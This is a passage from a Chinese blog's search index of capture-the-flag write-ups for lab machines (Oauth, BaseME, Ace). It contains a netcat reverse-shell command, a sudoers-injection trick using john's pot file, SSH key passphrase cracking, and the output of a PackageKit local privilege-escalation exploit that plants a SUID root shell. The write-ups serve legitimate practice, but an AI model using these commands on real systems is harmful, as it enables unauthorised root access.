openssl md5 MD5(stdin)= 8f0df3c42c370aee963ce2f1d5d7f589 Oauth:/tmp$ echo '8f0df3c42c370aee963ce2f1d5d7f589' \u003e hash.txt Oauth:/tmp$ echo 'keycloak ALL=(ALL:ALL) NOPASSWD: ALL' \u003e pass.txt Oauth:/tmp$ john --wordlist=pass.txt --format=Raw-MD5 hash.txt Using default input encoding: UTF-8 Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3]) Warning: no OpenMP support for this hash type, consider --fork=2 Press 'q' or Ctrl-C to abort, almost any other key for status Warning: Only 1 candidate left, minimum 24 needed for performance. keycloak ALL=(ALL:ALL) NOPASSWD: ALL (?) 1g 0:00:00:00 DONE (2026-06-02 18:19) 25.00g/s 25.00p/s 25.00c/s 25.00C/s keycloak ALL=(ALL:ALL) NOPASSWD: ALL Use the \"--show --format=Raw-MD5\" options to display all of the cracked passwords reliably Session completed Oauth:/tmp$ cat ~/.john/john.pot $dynamic_0$85efdaaaaba78e12b2fa7dce0b0444fc:$1$so$WM4.wE1EeZcnUF30BnRkB/:0:0:root:/root:/bin/bash $dynamic_0$8f0df3c42c370aee963ce2f1d5d7f589:keycloak ALL=(ALL:ALL) NOPASSWD: ALL Oauth:/tmp$ sudo john --wordlist=pass.txt --format=Raw-MD5 hash.txt --field-separator-char=$'\\n' --pot=/etc/sudoers.d/pwn_john using field sep char ' ' (0x0a) Using default in","date":"2026-06-03","heading":"权限提升","objectID":"/p/oauth/:5:0","tags":["mazesec","Medium"],"title":"Oauth 复盘","uri":"/p/oauth/#权限提升"},{"categories":["靶机复盘"],"collections":null,"content":"HackMyVM 靶机 BaseME 的渗透测试与提权记录","date":"2026-05-31","objectID":"/p/baseme/","tags":["HackMyVM","Easy"],"title":"BaseME","uri":"/p/baseme/"},{"categories":["靶机复盘"],"collections":null,"content":"前期网卡的配置 在VM中先把网络切换为NAT模式；再按如下操作就可以： e 进入编辑模式。 看见linux没，把 ro 改为 rw init=\u0026quot;/bin/bash\u0026quot;，ctrl + x，进入救援模式。 修改/etc/network/interfaces ： # 添加如下内容： auto ens33 # 开机自动启用网卡 iface ens33 inet dhcp # 启动后通过 DHCP 自动拿 IP service networking restart 这样每次虚拟机重启后，都可以重新获取ip。(大概思路就是这样) root@kali:/home/warn# arp-scan -l Interface: eth0, type: EN10MB, MAC: 00:0c:29:74:0c:8a, IPv4: 192.168.174.130 WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.174.1 00:50:56:c0:00:08 (Unknown) 192.168.174.2 00:50:56:e6:a5:f9 (Unknown) 192.168.174.133 00:0c:29:47:6f:55 (Unknown) 192.168.174.254 00:50:56:e3:46:91 (Unknown) 4 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 1.895 seconds (135.09 hosts/sec). 4 responded ","date":"2026-05-31","heading":"前期网卡的配置","objectID":"/p/baseme/:1:0","tags":["HackMyVM","Easy"],"title":"BaseME","uri":"/p/baseme/#前期网卡的配置"},{"categories":["靶机复盘"],"collections":null,"content":"信息收集 root@kali:/home/warn# nmap -sV -sC 192.168.174.133 Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-27 20:40 CST Nmap scan report for 192.168.174.133 Host is up (0.00011s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 ca:09:80:f7:3a:da:5a:b6:19:d9:5c:41:47:43:d4:10 (RSA) | 256 d0:75:48:48:b8:26:59:37:64:3b:25:7f:20:10:f8:70 (ECDSA) |_ 256 91:14:f7:93:0b:06:25:cb:e0:a5:30:e8:d3:d3:37:2b (ED25519) 80/tcp open http nginx 1.14.2 |_http-title: Site doesn't have a title (text/html). |_http-server-header: nginx/1.14.2 MAC Address: 00:0C:29:47:6F:55 (VMware) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 6.71 seconds 开启了22端口，80端口。 80端口是http服务，服务为nginx。 root@kali:/home/warn# curl -i -s 192.168.174.133 HTTP/1.1 200 OK Server: nginx/1.14.2 Date: Fri, 27 Mar 2026 12:42:43 GMT Content-Type: text/html Content-Length: 276 Last-Modified: Mon, 28 Sep 2020 07:23:35 GMT Connection: keep-alive ETag: \"5f718f77-114\" Accept-Ranges: bytes QUxMLCBhYnNvbHV0ZWx5IEFMTCB0aGF0IHlvdSBuZWVkIGlzIGluIEJBU0U2NC4KSW5jbHVkaW5nIHRoZSBwYXNzd29yZCB0aGF0IHlvdSBuZWVkIDopClJlbWVtYmVyLCBCQVNFNjQgaGFzIHRoZSBhbnN3ZXIgdG8gYWxsIHlvdXIgcXVlc3Rpb25zLgotbHVjYXMK root@kali:/home/warn# echo \"QUxMLCBhYnNvbHV0ZWx5IEFMTCB0aGF0IHlvdSBuZWVkIGlzIGluIEJBU0U2NC4KSW5jbHVkaW5nIHRoZSBwYXNzd29yZCB0aGF0IHlvdSBuZWVkIDopClJlbWVtYmVyLCBCQVNFNjQgaGFzIHRoZSBhbnN3ZXIgdG8gYWxsIHlvdXIgcXVlc3Rpb25zLgotbHVjYXMK\" | base64 -d ALL, absolutely ALL that you need is in BASE64. Including the password that you need :) Remember, BASE64 has the answer to all your questions. -lucas 翻译过来：你需要的所有东西都用了base64编码，包括的你的密码；记住，base64 可以回答你所有的问题。靶机名字叫baseme，对我进行base??编码。 root@kali:/home/warn# dirsearch -u http://192.168.174.133 /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflict _|. _ _ _ _ _ _|_ v0.4.3 (_||| _) (/_(_|| (_| ) Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460 Output File: /home/warn/reports/http_192.168.174.133/_26-03-27_20-45-14.txt Target: http://192.168.174.133/ [20:45:14] Starting: 并没有扫出任何内容。 root@kali:/home/warn# locate common.txt /etc/theHarvester/wordlists/general/common.txt /usr/share/dirb/wordlists/common.txt /usr/share/dirb/wordlists/extensions_common.txt /usr/share/dirb/wordlists/mutations_common.txt /usr/share/fern-wifi-cracker/extras/wordlists/common.txt /usr/share/metasploit-framework/data/wordlists/http_owa_common.txt /usr/share/metasploit-framework/data/wordlists/sap_common.txt /usr/share/wfuzz/wordlist/general/common.txt /usr/share/wfuzz/wordlist/general/extensions_common.txt /usr/share/wfuzz/wordlist/general/mutations_common.txt # 我们使用这个：/usr/share/dirb/wordlists/common.txt root@kali:/home/warn# while read -r line; do echo \"$line\" | base64 \u003e\u003e ./Desktop/dirs.txt; done \u003c /usr/share/dirb/wordlists/common.txt root@kali:/home/warn/Desktop# tail ./dirs.txt emlwCg== emlwZmlsZXMK emlwcwo= em9la2VuCg== em9uZQo= em9uZXMK em9vbQo= em9wZQo= em9ydW0K enQK root@kali:/home/warn/Desktop# dirsearch -u http://192.168.174.133 -w ./dirs.txt /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflict _|. _ _ _ _ _ _|_ v0.4.3 (_||| _) (/_(_|| (_| ) Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 4614 Output File: /home/warn/Desktop/reports/http_192.168.174.133/_26-03-27_20-57-43.txt Target: http://192.168.174.133/ [20:57:43] Starting: [20:57:46] 200 - 2KB - /aWRfcnNhCg== [20:57:49] 200 - 25B - /cm9ib","date":"2026-05-31","heading":"信息收集","objectID":"/p/baseme/:2:0","tags":["HackMyVM","Easy"],"title":"BaseME","uri":"/p/baseme/#信息收集"},{"categories":["靶机复盘"],"collections":null,"content":"漏洞利用 root@kali:/home/warn/Desktop# ssh -i ./rsa lucas@192.168.174.133 Enter passphrase for key './rsa': # 这里需要密码。 root@kali:/home/warn/Desktop# vim password.txt iloveyou youloveyou shelovesyou helovesyou weloveyou theyhatesme # 将这些内容写入到password.txt里面。 root@kali:/home/warn/Desktop# while read -r line; do echo \"$line\"|base64 \u003e\u003e password2.txt; done \u003c password.txt root@kali:/home/warn/Desktop# cat password2.txt aWxvdmV5b3UK eW91bG92ZXlvdQo= c2hlbG92ZXN5b3UK aGVsb3Zlc3lvdQo= d2Vsb3ZleW91Cg== dGhleWhhdGVzbWUK Cg== root@kali:/home/warn/Desktop# ssh -i ./rsa lucas@192.168.174.133 Enter passphrase for key './rsa': Linux baseme 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Thu Mar 26 06:11:02 2026 from 192.168.174.130 lucas@baseme:~$ ^C lucas@baseme:~$ # 输入第一个发现就是密码。 # 这里不用脚本的原因是：ssh 输入密码时，不允许通过管道符输入东西。 lucas@baseme:~$ cat user.txt . ** * *. ,* *, , ,* ., *, / * ,* *, /. .*. * ** ,* ,* ** *. ** **. ,* ** *, ,* * ** *, .* *. ** ** ,*, ** *, HMV8nnJAJAJA # 这个就是密码 ","date":"2026-05-31","heading":"漏洞利用","objectID":"/p/baseme/:3:0","tags":["HackMyVM","Easy"],"title":"BaseME","uri":"/p/baseme/#漏洞利用"},{"categories":["靶机复盘"],"collections":null,"content":"提权 lucas@baseme:~$ sudo -l Matching Defaults entries for lucas on baseme: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin User lucas may run the following commands on baseme: (ALL) NOPASSWD: /usr/bin/base64 lucas@baseme:~$ sudo /usr/bin/base64 /root/root.txt ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAuICAgICAqKiAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAq ICAgICAgICAgICAqLiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICwqICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICosICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAg ICAgICAgICwgICAgICAgICAgICAgICAgICAgICAgICAgLCogICAgICAgICAgICAgICAgICAgICAg ICAgICAKICAgICAgICAgICAgICAgICAgICAgIC4sICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgKiwgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAvICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKiAgICAgICAgICAgICAgICAgICAgICAKICAg ICAgICAgICAgICAgICAsKiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAq LCAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgLy4gICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIC4qLiAgICAgICAgICAgICAgICAKICAgICAgICAgICAg ICogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICoqICAg ICAgICAgICAgICAKICAgICAgICAgICAgICwqICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAsKiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICoqICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKi4gICAgICAgICAgICAgICAg ICAKICAgICAgICAgICAgICAgICAgICoqICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgKiouICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgLCogICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICoqICAgICAgICAgICAgICAgICAgICAgICAKICAgICAg ICAgICAgICAgICAgICAgICAgKiwgICAgICAgICAgICAgICAgICAgICAgICAgICwqICAgICAgICAg ICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgKiAgICAgICAgICAg ICAgICAgICAgICAqKiAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAqLCAgICAgICAgICAgICAgICAuKiAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAqLiAgICAgICAgICAgKiog ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICoqICAgICAgLCosICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAK ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICoqICosICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAKSE1WRktCUzY0Cg== lucas@baseme:~$ sudo /usr/bin/base64 /root/root.txt | base64 -d . ** * *. ,* *, , ,* ., *, / * ,* *, /. .*. * ** ,* ,* ** *. ** **. ,* ** *, ,* * ** *, .* *. ** ** ,*, ** *, HMVFKBS64 ","date":"2026-05-31","heading":"提权","objectID":"/p/baseme/:4:0","tags":["HackMyVM","Easy"],"title":"BaseME","uri":"/p/baseme/#提权"},{"categories":["靶机复盘"],"collections":null,"content":"总结 操作上不算太难，主要是思路上不好转弯，我扫描了目录，完全没有想过要用base64编码去编码文件后，再通过该字典去扫描文件。 我想到下面的注释可能是密码，并且用base64编码，编码后去爆破22端口，但是完全爆破不开。我还和gpt讨论他留下的线索，真的完全没有想到上面的思路。 ","date":"2026-05-31","heading":"总结","objectID":"/p/baseme/:5:0","tags":["HackMyVM","Easy"],"title":"BaseME","uri":"/p/baseme/#总结"},{"categories":["靶机复盘"],"collections":null,"content":"gobuster 通常更轻、更快，很多人拿来直接扫目录、子域名、虚拟主机 Go 写的，单二进制，装好就能跑 参数风格偏“工具型”，简洁直接 适合想快速扫一轮的人 扫描目录： gobuster dir -u http://192.168.174.133 -w ./dir.txt dir : 目录/文件枚举模式 -u：目标 URL -w：字典文件 还有一些常用的参数： -x：指定扩展名，比如 php,txt,html,bak -t：线程数，比如 20 -k：HTTPS 自签证书时跳过校验 -s：只显示某些状态码，比如 200,204,301,302,403 -b：排除某些状态码，比如 404 root@kali:/home/warn/Desktop# gobuster dir -u http://192.168.174.133 -w ./dirs.txt =============================================================== Gobuster v3.8 by OJ Reeves (@TheColonial) \u0026 Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.174.133 [+] Method: GET [+] Threads: 10 [+] Wordlist: ./dirs.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.8 [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /aWRfcnNhCg== (Status: 200) [Size: 2537] /cm9ib3RzLnR4dAo= (Status: 200) [Size: 25] Progress: 4614 / 4614 (100.00%) =============================================================== Finished =============================================================== 是真的很快。 root@kali:/home/warn/Desktop# ssh2john rsa \u003e rsa.hash root@kali:/home/warn/Desktop# john --wordlist=./password2.txt rsa.hash Using default input encoding: UTF-8 Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes Cost 2 (iteration count) is 16 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status aWxvdmV5b3UK (rsa) 1g 0:00:00:00 DONE (2026-03-27 22:38) 3.448g/s 27.58p/s 27.58c/s 27.58C/s ..Cg== Use the \"--show\" option to display all of the cracked passwords reliably Session completed. root@kali:/home/warn/Desktop# john --show rsa.hash rsa:aWxvdmV5b3UK 1 password hash cracked, 0 left ","date":"2026-05-31","heading":"gobuster","objectID":"/p/baseme/:6:0","tags":["HackMyVM","Easy"],"title":"BaseME","uri":"/p/baseme/#gobuster"},{"categories":["靶机复盘"],"collections":null,"content":"mazesec 靶机 Ace 复盘 的渗透测试与提权记录","date":"2026-05-30","objectID":"/p/ace/","tags":["mazesec","Easy"],"title":"Ace 复盘","uri":"/p/ace/"},{"categories":["靶机复盘"],"collections":null,"content":" 作者 难度 平台 ll104567 baby mazesec ","date":"2026-05-30","heading":"","objectID":"/p/ace/:0:0","tags":["mazesec","Easy"],"title":"Ace 复盘","uri":"/p/ace/#"},{"categories":["靶机复盘"],"collections":null,"content":"信息收集 ╭─ ~ ───────────────────────────────────────────────────────────────── ✔  root@kali  08:18:51 ╰─ nmap 192.168.56.123 -p- Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-29 08:19 -0400 Nmap scan report for 192.168.56.123 Host is up (0.00059s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 8000/tcp open http-alt MAC Address: 08:00:27:32:60:79 (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 43.16 seconds ╭─ ~ ─────────────────────────────────────────────────────────── ✔  43s  root@kali  08:19:48 ╰─ nmap 192.168.56.123 -p 22,80,8000 -sC -sV Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-29 08:20 -0400 Stats: 0:00:06 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan Service scan Timing: About 33.33% done; ETC: 08:20 (0:00:12 remaining) Nmap scan report for 192.168.56.123 Host is up (0.0013s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) | ssh-hostkey: | 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA) | 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA) |_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519) 80/tcp open http Apache httpd 2.4.62 ((Debian)) |_http-server-header: Apache/2.4.62 (Debian) |_http-title: Inspirational Quote 8000/tcp open ssl/http-alt? | ssl-cert: Subject: commonName=ajenti/organizationName=moban/countryName=NA | Not valid before: 2026-04-19T11:49:37 |_Not valid after: 2036-04-16T11:49:37 |_ssl-date: TLS randomness does not represent time MAC Address: 08:00:27:32:60:79 (Oracle VirtualBox virtual NIC) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 115.59 seconds 80 端口的标题：励志名言；8000 端口的需要https://访问。访问 80 端口： 一句名言 加 名字，记录下这个名字：jiali。dirsearch 扫描： ╭─ ~ ──────────────────────────────────────────────────────── ✔  1m 56s  root@kali  08:22:26 ╰─ dirsearch -u http://192.168.56.123/ /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflict _|. _ _ _ _ _ _|_ v0.4.3 (_||| _) (/_(_|| (_| ) Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460 Output File: /root/reports/http_192.168.56.123/__26-05-29_08-28-27.txt Target: http://192.168.56.123/ ... [08:28:29] 403 - 279B - /.httr-oauth [08:28:31] 403 - 279B - /.php [08:29:05] 200 - 621B - /login.php [08:29:20] 403 - 279B - /server-status [08:29:20] 403 - 279B - /server-status/ ... 存在 login.php，访问是一个登录界面，爆破admin用户，5000.txt，没有爆破出来；换jiali用户，5000.txt爆破出密码为：qweasdzxc。 登录成功后，并没有任何跳转，猜测功能可能就是这样的吧；我们获取了一个凭证：jiali:qweasdzxc。 访问8000端口： 打开控制台可以搜索到这些信息： 版本号为：2.2.15，搜索官网发现：最新版本号是2.2.15。 最新的CVE漏洞受影响的版本小于2.2.15，所以目前我认为是没有CVE漏洞可以利用。 这里复用凭证，可以登录ajenti： 这里我是创建了一个新的 Terminal。 ","date":"2026-05-30","heading":"信息收集","objectID":"/p/ace/:1:0","tags":["mazesec","Easy"],"title":"Ace 复盘","uri":"/p/ace/#信息收集"},{"categories":["靶机复盘"],"collections":null,"content":"反向shell获取完整交互式shell # kali nc -lvnp 39666 # 靶机 busybox nc 192.168.56.101 39666 -e /bin/bash \u0026 # 反向shell放到后台执行，不容易断 ╭─ ~ ──────────────────────────────────────────────────────── ✔  1m 10s  root@kali  08:29:36 ╰─ nc -lvnp 39666 listening on [any] 39666 ... connect to [192.168.56.101] from (UNKNOWN) [192.168.56.123] 52292 id uid=1000(jiali) gid=1000(jiali) groups=1000(jiali) script -qc /bin/bash /dev/null jiali@Ace:/$ ^Z [1] + 38776 suspended nc -lvnp 39666 ╭─ ~ ─────────────────────────────────────────────── TSTP ✘  2m 51s    root@kali  09:22:06 ╰─ stty raw -echo;fg [1] + 38776 continued nc -lvnp 39666 reset \u001b]Rjiali@Ace:/$ export SHELL=\"/bin/bash\" jiali@Ace:/$ export TERM=\"xterm-256color\" jiali@Ace:/$ export HOME=\"/home/jiali\" jiali@Ace:/$ cd jiali@Ace:~$ source .bashrc ","date":"2026-05-30","heading":"反向shell获取完整交互式shell","objectID":"/p/ace/:2:0","tags":["mazesec","Easy"],"title":"Ace 复盘","uri":"/p/ace/#反向shell获取完整交互式shell"},{"categories":["靶机复盘"],"collections":null,"content":"系统内部信息收集 sudo -l：列举当前用户可以执行的sudo命令，发现并没有，检查具有suid位的文件，发现： jiali@Ace:~$ find / -perm -u=s -type f -exec ls -al {} \\; 2\u003e/dev/null -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd -rwsr-xr-x 1 root root 47184 Apr 6 2024 /usr/bin/mount -rwsr-xr-x 1 root root 63568 Apr 6 2024 /usr/bin/su -rwsr-xr-x 1 root root 34888 Apr 6 2024 /usr/bin/umount -rwsr-xr-x 1 root root 23448 Jan 13 2022 /usr/bin/pkexec -rwsr-xr-x 1 root root 182600 Jan 14 2023 /usr/bin/sudo -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd -rwsr-xr-- 1 root messagebus 51336 Jun 6 2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device -rwsr-xr-x 1 root root 481608 Dec 21 2023 /usr/lib/openssh/ssh-keysign -rwsr-xr-x 1 root root 19040 Jan 13 2022 /usr/libexec/polkit-agent-helper-1 注意到pkexec，在gtfobins搜索： 发现无法利用。 jiali@Ace:/var/tmp$ ss -tuln Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:* tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:* tcp LISTEN 0 10 0.0.0.0:8000 0.0.0.0:* tcp LISTEN 0 128 *:80 *:* tcp LISTEN 0 128 [::]:22 [::]:* 没有隐藏的内网地址，查看进程ps auxww，没有发现任何有关提权的信息，通过./pspy64，也没有发现有关定时任务的可利用信息。 上传linpeas.sh，bash linpeas.sh 发现 CVE-2026-41651。 我发现了一个好网站：可以搜索有关CVE公开漏洞的payload；在该网站下载payload：https://github.com/baph00met/CVE-2026-41651/blob/main/cve-2026-41651-purpleteam.py。 ","date":"2026-05-30","heading":"系统内部信息收集","objectID":"/p/ace/:3:0","tags":["mazesec","Easy"],"title":"Ace 复盘","uri":"/p/ace/#系统内部信息收集"},{"categories":["靶机复盘"],"collections":null,"content":"权限提升 jiali@Ace:~$ python3 cve-2026-41651-purpleteam.py ============================================================ CVE-2026-41651 — PackageKit TOCTOU LPE Purple Team Test Case | Authorized Use Only ============================================================ [+] SUID drop directory: /var/tmp (no nosuid/noexec) [+] Package format: DEB [*] Building test packages... [+] Dummy pkg: /tmp/pk-dummy-662.deb [+] Payload pkg: /tmp/pk-payload-662.deb [+] Payload installs SUID bash to: /var/tmp/.suid_bash [*] Connecting to system D-Bus... [*] Creating PackageKit transaction... [+] Transaction ID: /22_dbbaeeab [*] Firing TOCTOU race (SIMULATE → REAL on same transaction)... [*] Polling for SUID at /var/tmp/.suid_bash (90s max)... [+] Confirmed: /var/tmp/.suid_bash is SUID root (mode=0o104755) [+] Dropping to root shell via SUID bash (-p preserves effective UID=0) [+] --- ROOT SHELL FOLLOWS --- .suid_bash-5.0# id uid=1000(jiali) gid=1000(jiali) euid=0(root) groups=1000(jiali) .suid_bash-5.0# cd /root .suid_bash-5.0# cat root.txt flag{root-2d80a0695beb907d6b9ae94a5b97c038} .suid_bash-5.0# cat rootpass.txt hDLHiKiviqDf5CU55m8D ","date":"2026-05-30","heading":"权限提升","objectID":"/p/ace/:4:0","tags":["mazesec","Easy"],"title":"Ace 复盘","uri":"/p/ace/#权限提升"},{"categories":["靶机复盘"],"collections":null,"content":"预期方法 jiali@Ace:/var/www$ ls -al total 16 drwxr-xr-x 3 root root 4096 Apr 19 09:49 . drwxr-xr-x 12 root root 4096 Apr 1 2025 .. -rw------- 1 www-data www-data 26 Apr 19 09:49 ... drwxr-xr-x 3 www-data www-data 4096 Apr 19 09:56 html 我们可以看到在/var/www目录下存在...隐藏文件，但它是www-data权限的，利用方法： 利用蚁剑连接： 就可以获取到root的凭证了。 ","date":"2026-05-30","heading":"预期方法","objectID":"/p/ace/:5:0","tags":["mazesec","Easy"],"title":"Ace 复盘","uri":"/p/ace/#预期方法"},{"categories":["靶机复盘"],"collections":null,"content":"总结 学习韭菜叶片的一些思路： 我是真的没想到：还可以这样查看最新的漏洞，快速定位。 对于登录框的黑盒测试，我的方法还是太少了。 ","date":"2026-05-30","heading":"总结","objectID":"/p/ace/:6:0","tags":["mazesec","Easy"],"title":"Ace 复盘","uri":"/p/ace/#总结"},{"categories":["靶机复盘"],"collections":null,"content":"mazesec 靶机 BlindSpot 的渗透测试与提权记录","date":"2026-05-29","objectID":"/p/blindspot/","tags":["mazesec","Easy"],"title":"BlindSpot","uri":"/p/blindspot/"},{"categories":["靶机复盘"],"collections":null,"content":" 作者 难度 平台 Sublarge baby mazesec ","date":"2026-05-29","heading":"","objectID":"/p/blindspot/:0:0","tags":["mazesec","Easy"],"title":"BlindSpot","uri":"/p/blindspot/#"},{"categories":["靶机复盘"],"collections":null,"content":"信息收集 ╭─ ~ ─────────────────────────────────────────────────────────────────── ✔  root@kali  04:33:58 ╰─ nmap 192.168.56.122 Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-28 04:35 -0400 Nmap scan report for 192.168.56.122 Host is up (0.0018s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:DD:F7:2F (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 0.91 seconds ╭─ ~ ─────────────────────────────────────────────────────────────────── ✔  root@kali  04:35:49 ╰─ nmap 192.168.56.122 -p22,80 -sC -sV Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-28 04:35 -0400 Nmap scan report for 192.168.56.122 Host is up (0.0014s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 10.3 (protocol 2.0) 80/tcp open http Werkzeug httpd 3.1.8 (Python 3.14.3) |_http-title: Site doesn't have a title (text/html; charset=utf-8). |_http-server-header: Werkzeug/3.1.8 Python/3.14.3 MAC Address: 08:00:27:DD:F7:2F (Oracle VirtualBox virtual NIC) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.21 seconds 访问页面发现： ╭─ ~ ────────────────────────────────────────────────────────────── ✔  8s  root@kali  04:36:07 ╰─ curl -i http://192.168.56.122 HTTP/1.1 200 OK Server: Werkzeug/3.1.8 Python/3.14.3 Date: Thu, 28 May 2026 08:53:34 GMT Content-Type: text/html; charset=utf-8 Content-Length: 616 Connection: close Flag is not here​‍‍​​‍‍​​‍‍​‍‍​​​‍‍​​​​‍​‍‍​​‍‍‍​‍‍‍‍​‍‍​​‍‍​​​‍​‍‍​‍‍‍​​‍‍‍​‍‍​​​‍‍​​​‍​​‍‍​‍​‍​​‍‍​​​‍​‍‍​​​‍​​​‍‍​​​‍​​‍‍​​‍‍​​‍‍‍​‍​​‍‍​‍​​‍​‍‍​‍‍‍​​‍‍‍​‍‍​​‍‍​‍​​‍​‍‍‍​​‍‍​‍‍​‍​​‍​‍‍​​​‍​​‍‍​‍‍​​​‍‍​​‍​‍​‍‍‍‍‍​‍ 可以看到后面存在内容。 ╭─ /tmp/123 ──────────────────────────────────────────────────────────── ✔  root@kali  04:59:24 ╰─ curl http://192.168.56.122 \u003e flag.txt ╭─ /tmp/123 ──────────────────────────────────────────────────────── INT ✘  root@kali  05:00:16 ╰─ cat -A flag.txt Flag is not 